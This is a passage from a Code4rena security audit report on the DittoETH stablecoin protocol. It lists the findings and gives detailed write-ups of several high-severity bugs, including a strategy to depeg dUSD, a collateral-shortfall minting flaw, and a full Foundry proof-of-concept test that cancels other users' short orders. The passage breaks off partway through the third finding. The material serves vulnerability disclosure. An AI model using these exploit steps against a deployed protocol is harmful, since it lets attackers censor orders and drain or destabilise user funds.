DittoETH
Findings & Analysis Report
2024-06-25
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] A successfully disputed redemption proposal has still increased the redemption fee base rate; exploit to depeg dUSD
- [H-02] An attacker can cancel other people’s short orders
- [H-03] Users can mint DUSD with less collateral than required, which gives them free DUSD and may open a liquidatable position
- [H-04] Partially filled Short Records created without a short order cannot be liquidated and exited
- [H-05] Flawed if check causes inaccurate tracking of the protocol’s
ercDebt
and collateral - [H-06] Closing a SR during a wrong redemption proposal leads to loss of funds
- [H-07] Valid redemption proposals can be disputed by decreasing collateral
-
- [M-01] The
shortOrder
verification bug on theRedemptionFacet::proposeRedemption()
allows an attacker to leave a smallshortOrder
on the order book, leading to the protocol’s bad debt - [M-02] Can manipulate the
C.SHORT_STARTING_ID
ShortRecord
of theTAPP
- [M-03] The
colRedeemed
variable is wrongly retrieved inLibBytes::readProposalData
function - [M-04]
transferShortRecord
: Can transfer a newly createdShortRecord
using a previously minted NFT - [M-05]
oracleCircuitBreaker
: Not checking if price information of asset is stale - [M-06]
ShortOrders
can be created withercAmount == minAskEth/2
, increasing the gas costs for matching large orders and disincentivizing liquidators from liquidating them - [M-07] Using cached price to create a proposal reduce the efficacity of redemptions for asset peg
- [M-08] If a redemption has
N
disputable shorts, it is possible to disputeN-1
times the redemption to maximize the penalty - [M-09] Valid redemption proposals can be disputed when bad debt occurs by applying it to a SR outside of the proposal
- [M-01] The
-
Low Risk and Non-Critical Issues
- 01 Multiplication on the result of a division
- 02 Events may be emitted out of order due to reentrancy
- 03 Unsafe conversion from unsigned to signed values
- 04 Vulnerable versions of packages are being used
- 05 Critical functions should be controlled by time locks
- 06 External function calls within loops
- 07 Use descriptive constant instead of
0
as a parameter - 08 Code does not follow the best practice of check-effects-interaction
- 09 Names of
private
/internal
functions should be prefixed with an underscore - 10 Names of
private
/internal
state variables should be prefixed with an underscore - 11 The
nonReentrant
modifier
should occur before all other modifiers - 12 Custom errors should be used rather than
revert()
/require()
- 13 Consider splitting complex checks into multiple steps
- 14 Complex casting
- 15 Complex math should be split into multiple steps
- 16 Consider adding a block/deny-list
- 17 Constants/Immutables redefined elsewhere
- 18 Convert simple
if
-statements to ternary expressions - 19 Contracts should each be defined in separate files
- 20 Contract name does not match its filename
- 21
UPPER_CASE
names should be reserved forconstant
/immutable
variables - 22 Contract timekeeping will break earlier than the Ethereum network itself will stop working
- 23 Consider emitting an event at the end of the constructor
- 24 Events are emitted without the sender information
- 25 Imports could be organized more systematically
- 26 Invalid NatSpec comment style
- 27
@openzeppelin/contracts
should be upgraded to a newer version - 28 Lib
@prb/math
should be upgraded to a newer version - 29 Functions should be named in
mixedCase
style - 30 Variable names for
immutable
s should useUPPER_CASE_WITH_UNDERSCORES
- 31 Consider adding validation of user inputs
- 32 Constants should be put on the left side of comparisons
- 33 Libraries should be defined in separate files
- 34
else
-block not required - 35 High cyclomatic complexity
- 36 Typos
- 37 Consider bounding input array length
- 38 Unnecessary casting
- 39 Unused contract variables
- 40 Unused import
- 41 Unused local variables
- 42 Unused named return
- 43 Consider using
delete
rather than assigning zero to clear values - 44 Use the latest Solidity version
- 45 Consider using named function arguments
- 46 Named returns are recommended
- 47 Consider using the
using
-for
syntax - 48 Use a struct to encapsulate multiple function parameters
- 49 Returning a struct instead of a bunch of variables is better
- 50 Contract variables should have comments
- 51 Function state mutability can be restricted to view
- 52 Inconsistent spacing in comments
- 53 Missing event for critical changes
- 54 Duplicated
require()
/revert()
checks should be refactored - 55 Consider adding emergency-stop functionality
- 56 Use the Modern Upgradeable Contract Paradigm
- 57 Large or complicated code bases should implement invariant tests
- 58 The default value is manually set when it is declared
- 59 Contracts should have all
public
/external
functions exposed byinterface
s - 60 Top-level declarations should be separated by at least two lines
- 61 Consider adding formal verification proofs
- 62 Use scopes sparingly
-
- Overview of DittoETH
- Protocol Roles/Actors and Their Privileges
- Technical Architecture of DittoETH
- Codebase Quality
- Approach Taken to Audit DittoETH
- Overview, Concerns, and Recommendations
- Key Components and Analysis of DittoETH
- Code Weakspots and Complexity
- Risks Related to the DittoETH Project
- Software Engineering Considerations
- Recommendations/Architectural Improvements
- Conclusion
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the DittoETH smart contract system written in Solidity. The audit took place between March 15 — April 5, 2024.
Wardens
44 Wardens contributed reports to DittoETH:
- klau5
- nonseodion
- d3e4
- 00xSEV
- samuraii77
- Cosine
- serial-coder
- 0xbepresent
- Infect3d
- ilchovski
- Bube
- unix515
- albahaca
- Rhaydden
- maxim371
- popeye
- hihen
- hunter_w3b
- Sathish9098
- roguereggiant
- Pechenite (Bozho and radev_sw)
- oualidpro
- slvDev
- falconhoof
- 0xSecuri
- LinKenji
- foxb868
- XDZIBECX
- Evo
- Bigsam
- Bauchibred
- fouzantanveer
- SAQ
- kaveyjoe
- emerald7017
- 0xbrett8571
- JcFichtner
- clara
- cheatc0d3
- pfapostol
- Topmark
- Rolezn
- caglankaan
This audit was judged by hansfriese.
Final report assembled by thebrittfactor.
Summary
The C4 analysis yielded an aggregated total of 16 unique vulnerabilities. Of these vulnerabilities, 7 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 18 reports detailing issues with a risk rating of LOW severity or non-critical.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 DittoETH repository, and is composed of 12 smart contracts written in the Solidity programming language and includes 1961 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (7)
[H-01] A successfully disputed redemption proposal has still increased the redemption fee base rate; exploit to depeg dUSD
Submitted by d3e4
Redemptions may not be incentivized to increase the value of dUSD. Furthermore, this may be deliberately induced to prevent a falling dUSD from repegging, ultimately causing dUSD to fully depeg and crash. The motivations for this attack could be anything from pure spite (perhaps from a competitor)
Root cause and summary
The most fundamental root cause of this issue and exploit is that the base rate in the redemption fee is increased when a redemption is proposed, but not restored (decreased) if the redemption is successfully disputed.
When dUSD is trading below the dollar, redemptions are needed to restore the peg. The redemption fee regulates the incentive to redeem dUSD. So if the redemption fee is increased, without contributing to the peg restoration by decreasing the supply of dUSD, the peg restoration mechanism is impeded and sufficient redemptions will not happen. A sufficiently high redemption fee will make any redemption a loss for the redeemer, which means that the peg will not be restored.
This issue becomes viable as a direct exploit because of multiple factors reducing its cost to the attacker:
- The attacker can avoid paying the penalty by disputing his own proposal (using a different account).
- The redemption fee contains an added base fee of 0.5% which reduces the required amount to propose, on which the fee is paid.
-
A. The total redemption fee decreases, down to almost a half, if the proposed amount is split over several redemption proposals.
B. By splitting the total proposed amount the attacker only needs to escrow dUSD for one such part (at a time), which minimizes his own loss on his devalued dUSD.
- The redemption fee is proportional to the collateral that would be redeemed, which is capped to the short record’s collateral balance; whereas the base rate is increased based on the amount proposed, which is not reduced accordingly. This can only be leveraged if there exists an undercollateralized short record. But if there is, this can be leveraged to make this exploit essentially for free for about 48 hours.
With the possible exception of 1 above, all of the above are issues in their own right, especially 4; which is therefore, also reported separately. The impact of 2 and 3 is subject to the model used for how (quantitatively) redemptions restore the peg,; therefore, is discussed below rather than reported separately.
Proof of Concept
The goal of this exploit is to cause a persistent and complete loss of incentive to redeem dUSD, such that a dUSD trading below the dollar fails to recover its peg.
There is some level below which dUSD is critically depegged. This is at least at the level where it becomes undercollateralized. For example, if the total collateral ratio is 1.25, this would happen if dUSD trades at $0.80
. However, there is also a psychological and interfacing aspect. Since dUSD is supposed to maintain a 1:1 peg, if dUSD persistently trades at $0.90
or even $0.95
, users might become suspicious, lose interest, or deem dUSD unsuitable or broken; which would cause it to further depeg. Therefore, any significant depeg will become critical if it is also persistent over time.
It is assumed that there are always market forces (randomly) pushing the value of dUSD down, which is why the peg restoration mechanism through redemptions is necessary. If redemptions are prevented it is therefore assumed that these forces will take over and keep pushing dUSD downwards.
A complete collapse of dUSD is not necessarily the goal. This could also be profited from as a kind of market manipulation where the attacker crashes the price to buy cheap dUSD, and then lets the redemption incentive back in and redeem his cheaply gotten dUSD (for real this time).
The exploit will thus be considered successful if redemptions are prevented throughout the time it takes dUSD to drop from $1.00
to (e.g.) $0.95
and then keep preventing redemptions for some time.
The redemption fee is redemptionRate * redemptionAmount
(redemptionAmount
in USD value or dUSD equivalently). The profit on a redemption is (1 - price) * redemptionAmount - redemptionRate * redemptionAmount
. Thus, whenever redemptionRate >= (1 - price)
there is no profit to be made on redemptions. This is the redemption rate we want to maintain.
When a redemption is proposed the redemption fee is calculated. This updates the baseRate
. When a redemption proposal is disputed nothing is done to the baseRate
. This is the root cause of this issue.
When a redemption proposal is disputed the redemption proposer gets back the entire amount proposed minus the penalty. This means that if the disputer and the proposer is the same person (using different addresses, since they cannot be the same) then the penalty is not lost. The attack would be performed as a proposal atomically followed by a dispute. This shows issue 1 in the list above.
The redemption proposer still has to pay the redemption fee, however. We will now investigate how much this would cost the attacker.
Ignoring the decay for now, when an amount a
is proposed the base rate increases by a / (2 * totalSupply)
, where totalSupply
is the total supply of dUSD, i.e. the total ercDebt
. Since a base rate of 0.5% is always added (issue 2 above), we only need to keep the base rate at 1 - price - 0.005
.
Assuming an initial base rate of 0
, to bring the base rate up to 1 - price - 0.005
we would then propose a = (1 - price - 0.005) * 2 * totalSupply
. The redemption fee would then be (1 - price) * (1 - price - 0.005) * 2 * totalSupply
. For price = 0.95
this is 0.0045 * totalSupply
.
If we split the amount a
into n
smaller parts each of size a/n
then the base rate will increase (a/n) / (2 * totalSupply)
each time (so we still need to propose the same total amount), but the redemption fee on the k
th time will only be a/n * (k * (a/n) / (2 * totalSupply) + 0.005)
. Note that if each proposals is immediately disputed then totalSupply
remains constant; otherwise, totalSupply
decreases slightly each time such that the redeemed fraction increases such that we can propose less overall for even lower fees.
Summed over all k
this is a^2 * n * (n+1) / (n^2 * 4 * totalSupply) + 0.005 * a
. The limit for high n
is a * (a / (4 * totalSupply) + 0.005 * a)
. Substituting a
from above we get that the total fees are ((1 - price)^2 - 2.5e-5) * totalSupply
, which is almost half of the single proposal cost. For price = 0.95
this is 0.002475 * totalSupply
.
Let’s now consider the cost of working against the decay of the base rate. After t
hours the base rate has decayed by a factor 2^(-t/12)
. In order to bring the redemption rate back up to 1 - price
we need to propose another (1 - price - (1 - price) * 2^(-t/12)) * 2 * totalSupply
, on which we pay in fees (1 - price)^2 * (1 - 2^(-t/12)) * 2 * totalSupply
. In the best case we only need to do this very rarely, and the average cost per hours then tends to zero. In the worst case, if we have to propose continuously, the limit is (1 - price)^2 * 2 * totalSupply * ln(2)/12
per hour. For price = 0.95
this is 0.00029 * totalSupply
in the worst case.
Finally let’s discuss issue 4. If the short record holds less collateral than can cover the proposed amount, then it is capped to whatever it does hold. The proposed amount, however, is not reduced. These are passed to the calculation of the redemption fee, and it is the collateral redeemed that is multiplied by the redemption rate, while the base rate is increased based on the amount proposed (ercDebtRedeemed
). This means that we pay a smaller fee than we should.
Once there is an undercollateralized short record we can first partially redeem it so that almost no (or zero?) collateral remains. This decreases the collateral to almost 0
, while some debt still remains.
Performing our attack with two such short records, we can make and dispute proposals where the fees are almost zero but still increase the base rate each time. We can now blow up the redemption rate to the maximum 100% essentially for free. This will decay down to 6.25% in 48 hours, which is sufficient to prevent redemptions down to a price of 0.9325
. These severely undercollateralized short records may of course be immediately proposed and claimed by anyone, but it is not necessarily likely that anyone will do that, since there is no profit to be made. We might therefore be able to repeat this every 48 hours (or more often) and maintain an arbitrarily high redemption rate almost for free.
Bonus note on issues 2 and 3
The redemption fee mechanism is clearly intended to be optimal for redemption amounts which reduce the supply in accordance with the Quantity Theory of Money. However, the added 0.5% fee disrupts this and makes redemption optimal for a amount insufficient to restore the peg. The intention behind the 0.5% is probably to not allow free redemptions and to bring in some profit to the protocol, but it does not make sense to always add it. It should then be only a lower limit.
Furthermore, this optimality is only valid under the assumption that redemptions are proposed in wholes, and not split up. As seen above, more can profitably be redeemed if the redemption is split in many small parts. This causes redemptions to overshoot, causing the price to increase above $1.00
(as per QTM). This is not as straightforward to fix, but one solution might be to only allow sufficiently large proposed amounts.
It should also of course be possible to redesign the peg stabilization mechanism, by some direct reference to the deviation from the peg, since this deviation is explicitly know through the oracle price.
Recommended Mitigation Steps
Make sure the base rate is unaffected by a proposal which is successfully disputed. It might be tricky to account for the decay if attempting to later subtract when disputing. A possible solution might be to simply calculate and apply the new rate only when a proposal is successfully claimed.
ditto-eth (DittoETH) confirmed
[H-02] An attacker can cancel other people’s short orders
Submitted by 00xSEV
LibSRUtil.transferShortRecord
does not check the owner of nft.shortOrderId
before canceling it. shortOrderId
s are reused after the order is canceled.
An attacker can create a state for an NFT where the short record’s status is SR.PartialFill
, but nft.shortOrderId
is already reassigned to another user, yet still set in the attacker’s NFT. This will make the system think that it needs to cancel nft.shortOrderId
, even though it belongs to another user already and does not reference the original order.
Vulnerability Details
if (short.status == SR.PartialFill) {
LibOrders.cancelShort(asset, nft.shortOrderId);
}
For the example, we will use ids that would be used by a new asset (starting ids, 2 for shortRecord
and 100 for short order).
Steps for the attacker, the simplest attack (see test1
function in PoC too):
-
Create a short record that will be partially filled:
- The attacker can create a limit short + market bid in the same transaction. The market bid must not fully cover the limit short.
-
Then, possibly in the same transaction, they:
-
mintNFT
shortRecordId
= 2-
shortOrderId
= 100- short order’s linked list state:
HEAD <-> HEAD <-> 100 <-> TAIL
.
- short order’s linked list state:
-
Cancel the short.
- Short order’s linked list state
HEAD <-> 100 <-> HEAD <-> TAIL
.
- Short order’s linked list state
- Cancel the short record with id 2 (
exitShortErcEscrowed
in PoC).
-
-
A victim creates a limit short:
shortOrderId
is 100 again (reused), but it is a different order, it belongs to the victim now.- Short order’s linked list state
HEAD <-> HEAD <-> 100 <-> TAIL
.
- The attacker decides to cancel it.
-
The attacker creates a new short record (the same way as in step 1). Note that because the last short record with
id=2
was canceled its id will be reused.- Even though we canceled the short record in step 2.3, it is now recreated. So, the new record’s id is 2 again and the
.status
isSR.PartialFill
.
- Even though we canceled the short record in step 2.3, it is now recreated. So, the new record’s id is 2 again and the
-
Attacker does
transferFrom
:- All the checks are passed because the short record with id is legit, the status is
SR.PartialFill
, and the record belongs to the attacker. -
The code will call
LibOrders.cancelShort(asset, nft.shortOrderId);
.nft.shortOrderId
is 100.
- The short order with id 100 is canceled (victim’s order).
- All the checks are passed because the short record with id is legit, the status is
The attacker can also create many NFTs and choose which orders to cancel as they wish (See the second function in PoC). The attacker can then create the NFTs again and start the attack again (See the third PoC).
It’s also possible to have several NFTs on the same address or different addresses with the same nft.shortOrderId
. It may also lead to accidental cancellation even if a user is not malicious.
Impact
The attacker has full control over which short orders appear on the order book; they can censor orders, manipulate the price by canceling orders with a low price.
It’s possible to reduce other’s rewards by canceling shorts just before the rewards are due (Token yield is provided only after some time on the order book, see here).
The platform is unusable because short orders can be canceled at any time arbitrarily by an attacker, or several attackers/bad actors, who do not like some short orders.
Proof of Concept
forge test -vvv --match-path contracts/AANftAttack.sol
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;
import "contracts/libraries/LibOrders.sol";
import {Test} from "forge-std/Test.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
import {console} from "contracts/libraries/console.sol";
import {IDiamond} from "interfaces/IDiamond.sol";
import "contracts/libraries/AppStorage.sol";
import "contracts/libraries/Constants.sol";
import "contracts/interfaces/IDiamondCut.sol";
import "contracts/libraries/LibAsset.sol";
import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {TestTypes} from "test/utils/TestTypes.sol";
import {console2} from "forge-std/console2.sol";
contract AppStorageReader {
function minAskEth(address asset) external view returns (uint) {
return LibAsset.minAskEth(asset);
}
function initialCR(address asset) external view returns (uint) {
return LibAsset.initialCR(asset);
}
function minShortErc(address asset) external view returns (uint) {
return LibAsset.minShortErc(asset);
}
function getBid(address asset, uint16 id) external view returns (STypes.Order memory) {
return appStorage().bids[asset][id];
}
function getShort(address asset, uint16 id) external view returns (STypes.Order memory) {
return appStorage().shorts[asset][id];
}
function getTokenIdCounter() external view returns (uint40) {
return appStorage().tokenIdCounter;
}
}
contract AANftAttack is OBFixture {
using U256 for uint256;
using U88 for uint88;
using U80 for uint80;
bytes4[] internal appStorageReaderSelectors = [
AppStorageReader.minAskEth.selector,
AppStorageReader.initialCR.selector,
AppStorageReader.getBid.selector,
AppStorageReader.getShort.selector,
AppStorageReader.getTokenIdCounter.selector,
AppStorageReader.minShortErc.selector
];
IDiamondCut.FacetCut[] public newCut;
// Shows that an attacker can cancel someone else's order, simplified, only one order
function test1() external {
_addAppStorageReaderToDiamond();
address attacker = address(0x5a9a88bD94c8410243B0c04018811b8cA4D09D55);
address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);
fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker );
fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );
vm.startPrank(attacker);
diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID);
cancelShort(C.STARTING_ID);
vm.stopPrank();
STypes.ShortRecord memory shortRecord = getShortRecord(attacker, C.SHORT_STARTING_ID);
uint88 amount = shortRecord.ercDebt;
// Deletes the last shortRecord
exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attacker);
fundLimitShort( DEFAULT_PRICE - 1, DEFAULT_AMOUNT * 99, victim );
// Creates new shortRecord
fundLimitShort( DEFAULT_PRICE, DEFAULT_AMOUNT, attacker );
fundMarketBid( DEFAULT_PRICE, DEFAULT_AMOUNT / 10, attacker );
// _logShortOrders();
vm.prank(attacker);
// You can comment this line to make sure cancelShort will not revert
diamond.transferFrom(attacker, attacker, 1);
// _logShortRecords(attacker);
// _logShortOrders();
vm.prank(victim);
vm.expectRevert(Errors.NotActiveOrder.selector);
cancelShort(C.STARTING_ID);
}
// Shows that an attacker can cancel arbitrary orders, more complex
function test2() external {
_addAppStorageReaderToDiamond();
// Random addresses, can be indefinite
address[3] memory attackerAddresses = [
0x5a9a88bD94c8410243B0c04018811b8cA4D09D55,
0x12e9757fB4a2990aDaf10A6ca8C7085C06cF7173,
0x9A2f3C59E8CF1f7c0e514D7f22B37BA2E58CF737
];
address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);
for (uint8 i; i < attackerAddresses.length; i++){
// These two lines create a ShortRecord
// Price decreases with each step to make a new order the first to be filled,
// ensuring that every fill (market bid) does not go to the first short order.
// Price is higher than default to be > oracle price and be filled
fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] );
fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
vm.prank(attackerAddresses[i]);
diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
}
for (uint8 i; i < attackerAddresses.length; i++){
vm.prank(attackerAddresses[i]);
cancelShort(C.STARTING_ID + i);
STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
uint88 amount = shortRecord.ercDebt;
exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
}
// Empty
console.log("__Before victim creates orders (empty):");
_logShortOrders();
// +111, +222, +333 are used to differentiate between orders in the log output.
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 111, victim );
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 222, victim );
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 333, victim );
// 3 victim's orders
console.log("__After victim creates orders (3 orders):");
_logShortOrders();
for (uint8 i; i < attackerAddresses.length; i++){
// Skip the second one just to demonstrate that one can cancel arbitrary
if (i == 1) continue;
// Create shorts that will be partially filled, to create shortRecords
// We need it to replace deleted/closed records with id C.SHORT_STARTING_ID
// with a new one. It will set their status to PartiallyFilled
fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] );
fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
vm.prank(attackerAddresses[i]);
diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 1 + i);
}
console.log("__After the attack (2 attackers orders followed by a victim's one):");
_logShortOrders();
}
// Shows that an attacker can repeat the attack indefinitely
function test3() external {
_addAppStorageReaderToDiamond();
// Random addresses, can be indefinite
address[3] memory attackerAddresses = [
0x5a9a88bD94c8410243B0c04018811b8cA4D09D55,
0x12e9757fB4a2990aDaf10A6ca8C7085C06cF7173,
0x9A2f3C59E8CF1f7c0e514D7f22B37BA2E58CF737
];
address attackerAdditionalAddress = 0xefa7092E09664743518177Fc740f257d3C17D348;
address victim = address(0x0537B70dc9F255c76AE6E583D3D282fEE96E1E84);
for (uint8 i; i < attackerAddresses.length; i++){
// These two lines create a ShortRecord
// Price decreases with each step to make a new order the first to be filled,
// ensuring that every fill (market bid) does not go to the first short order.
// Price is higher than default to be > oracle price and be filled
fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] );
fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
vm.prank(attackerAddresses[i]);
diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
}
for (uint8 i; i < attackerAddresses.length; i++){
vm.prank(attackerAddresses[i]);
cancelShort(C.STARTING_ID + i);
STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
uint88 amount = shortRecord.ercDebt;
exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
}
// Empty
console.log("__Before victim creates orders (empty):");
_logShortOrders();
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 111, victim );
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 222, victim );
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 333, victim );
// 3 victim's orders
console.log("__After victim creates orders (3 orders):");
_logShortOrders();
for (uint8 i; i < attackerAddresses.length; i++){
// Create shorts that will be partially filled, to create shortRecords
// We need it to replace deleted/closed records with id C.SHORT_STARTING_ID
// with a new one. It will set their status to PartiallyFilled
fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] );
fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
vm.prank(attackerAddresses[i]);
diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 1 + i);
}
console.log("__After the attack (3 attackers orders):");
_logShortOrders();
// 102----HEAD--101--100--103 <--short order ids from the linked list of orders
//Canceled--H----2----1----0 <--attacker ids from attackerAddresses
// We want 102--101--100--HEAD--103, so we cancel 2->1->0
// (A canceled order is placed immediately to the left of HEAD)
vm.prank(attackerAddresses[2]);
cancelShort(101);
vm.prank(attackerAddresses[1]);
cancelShort(100);
vm.prank(attackerAddresses[0]);
cancelShort(103);
// We got 102--101--100--103--HEAD
// Then create an order to remove 103 and get to a desired state
fundLimitShort( DEFAULT_PRICE + 1e6, DEFAULT_AMOUNT + 999, attackerAdditionalAddress);
console.log("__Ready for another attack (102--101--100--HEAD--103):");
_logShortOrders(); // We got 102--101--100--HEAD--103
for (uint8 i; i < attackerAddresses.length; i++){
fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT, attackerAddresses[i] );
fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
vm.prank(attackerAddresses[i]);
diamond.mintNFT( asset, C.SHORT_STARTING_ID, C.STARTING_ID + i);
}
for (uint8 i; i < attackerAddresses.length; i++){
vm.prank(attackerAddresses[i]);
cancelShort(C.STARTING_ID + i);
STypes.ShortRecord memory shortRecord = getShortRecord(attackerAddresses[i], C.SHORT_STARTING_ID);
uint88 amount = shortRecord.ercDebt;
exitShortErcEscrowed(C.SHORT_STARTING_ID, amount, attackerAddresses[i]);
}
console.log("__Ready for another attack full:");
_logShortOrders();
// Victims create orders again
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 555, victim );
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 666, victim );
fundLimitShort( DEFAULT_PRICE + 1000, DEFAULT_AMOUNT + 777, victim );
console.log("____Second iteration____");
console.log("__After victim creates orders (3 victim's orders + an attacker's one):");
_logShortOrders();
for (uint8 i; i < attackerAddresses.length; i++){
fundLimitShort( DEFAULT_PRICE + 100 - i, DEFAULT_AMOUNT + 4444 + i, attackerAddresses[i] );
fundMarketBid( DEFAULT_PRICE + 100, DEFAULT_AMOUNT / 10, attackerAddresses[i] );
vm.prank(attackerAddresses[i]);
// id (the last argument) starts with 4 because 3 NFTs have been minted
// in the previous attack; we don't use them anymore
diamond.transferFrom(attackerAddresses[i], attackerAddresses[i], 4 + i);
}
console.log("__Second attack done (4 attacker's orders):");
_logShortOrders();
}
function _logShortRecords(address addr) internal view {
console.log("===");
console.log("id: ", 0);
console.log(getShortRecord(addr, 0));
console.log("id: ", 1);
console.log(getShortRecord(addr, 1));
console.log("id: ", 2);
console.log(getShortRecord(addr, 2));
console.log("id: ", 3);
console.log(getShortRecord(addr, 3));
console.log("id: ", 4);
console.log(getShortRecord(addr, 4));
console.log("===");
}
function _addAppStorageReaderToDiamond() internal {
newCut.push(
IDiamondCut.FacetCut({
facetAddress: address(new AppStorageReader()),
action: IDiamondCut.FacetCutAction.Add,
functionSelectors: appStorageReaderSelectors
})
);
vm.prank(owner);
diamond.diamondCut(newCut, address(0), "");
}
function _logBids() internal view {
// See console.logBids
STypes.Order memory o = AppStorageReader(_diamond).getBid(asset, C.HEAD);
console.log(o);
uint16 currentId = o.nextId;
while (currentId != C.TAIL) {
o = AppStorageReader(_diamond).getBid(asset, currentId);
console.log(o);
currentId = o.nextId;
}
console.log("--");
}
function _logShortOrders() internal view {
// See console.logShorts
STypes.Order memory o = AppStorageReader(_diamond).getShort(asset, C.HEAD);
console.log(o);
uint16 currentId = o.nextId;
while (currentId != C.TAIL) {
o = AppStorageReader(_diamond).getShort(asset, currentId);
console.log(o);
currentId = o.nextId;
}
console.log("--");
}
}
Recommended Mitigation Steps
- Consider checking the owner of the short order in
transferShortRecord
before cancelling it. - Consider burning the nft when short record is deleted.
Assessed type
Invalid Validation
ditto-eth (DittoETH) confirmed
[H-03] Users can mint DUSD with less collateral than required, which gives them free DUSD and may open a liquidatable position
Submitted by nonseodion, also found by serial-coder
Users can mint more DUSD than the value of collateral they provided for the Short Order when they cancel it.
Note: Each number below is a step and some steps jump to other steps.
When a user cancels a short order, the following happens:
- If the short’s associated short record has a status of
SR.Closed
, i.e. it hasn’t been matched, it is deleted and the process moves to step 5.
if (shortRecord.status == SR.Closed) {
// @dev creating shortOrder automatically creates a closed shortRecord which also sets a shortRecordId
// @dev cancelling an unmatched order needs to also handle/recycle the shortRecordId
❌ LibShortRecord.deleteShortRecord(asset, shorter, shortRecordId);
} else {
- Else, if the short record is partially filled or filled, it is checked if it has less than the minimum erc debt (
minShortErc
).
if (shortRecord.ercDebt < minShortErc) {
- If it has less debt than
minShortErc
, the short record is filled up to theminShortErc
and its status is changed toSR.FullyFilled
and the process moves to step 5.
// @dev prevents leaving behind a partially filled SR is under minShortErc
// @dev if the corresponding short is cancelled, then the partially filled SR's debt will == minShortErc
uint88 debtDiff = minShortErc - shortRecord.ercDebt;
{
STypes.Vault storage Vault = s.vault[vault];
uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));
❌ LibShortRecord.fillShortRecord(
asset,
shorter,
shortRecordId,
❌ SR.FullyFilled,
collateralDiff,
debtDiff,
Asset.ercDebtRate,
Vault.dethYieldRate
);
- Else, if it has more debt than
minShortErc
, the status of the short record is changed toSR.FullyFilled
.
shortRecord.status = SR.FullyFilled;
- Finally the short order itself is canceled.
cancelOrder(s.shorts, asset, id);
The issue arises in step 3 where it tries to fill the short record up to the minShortErc
. To fill the Short Record, it first gets the amount of DUSD needed in line 928 of the code snippet below as debtDiff
. The collateral needed to mint the DUSD
is calculated in line 932.
There are two issues with the calculation in line 932:
- It uses the
shortOrderCR
to calculate the collateral needed. If the short order’s collateral ratio is less than 1 ether then the value of the collateral calculated is less than the value of DUSD that eventually gets minted. - It uses the short order’s price
shortOrder.price
to calculate the needed collateral. If this price is less than the current price of DUSD in ETH value, the collateral calculated is less than what is required. But if this price is higher than the current price, the user uses more ETH to mint the DUSD.
The short record is filled in line 934, and the collateral needed is removed from the ETH the user initially supplied when he created the short order in line 950. Note that the user (i.e. the shorter) gets the debtDiff
(i.e. DUSD minted) in line 953.
928: uint88 debtDiff = minShortErc - shortRecord.ercDebt;
929: {
930: STypes.Vault storage Vault = s.vault[vault];
931:
932: uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));
933:
934: LibShortRecord.fillShortRecord(
935: asset,
936: shorter,
937: shortRecordId,
938: SR.FullyFilled,
939: collateralDiff,
940: debtDiff,
941: Asset.ercDebtRate,
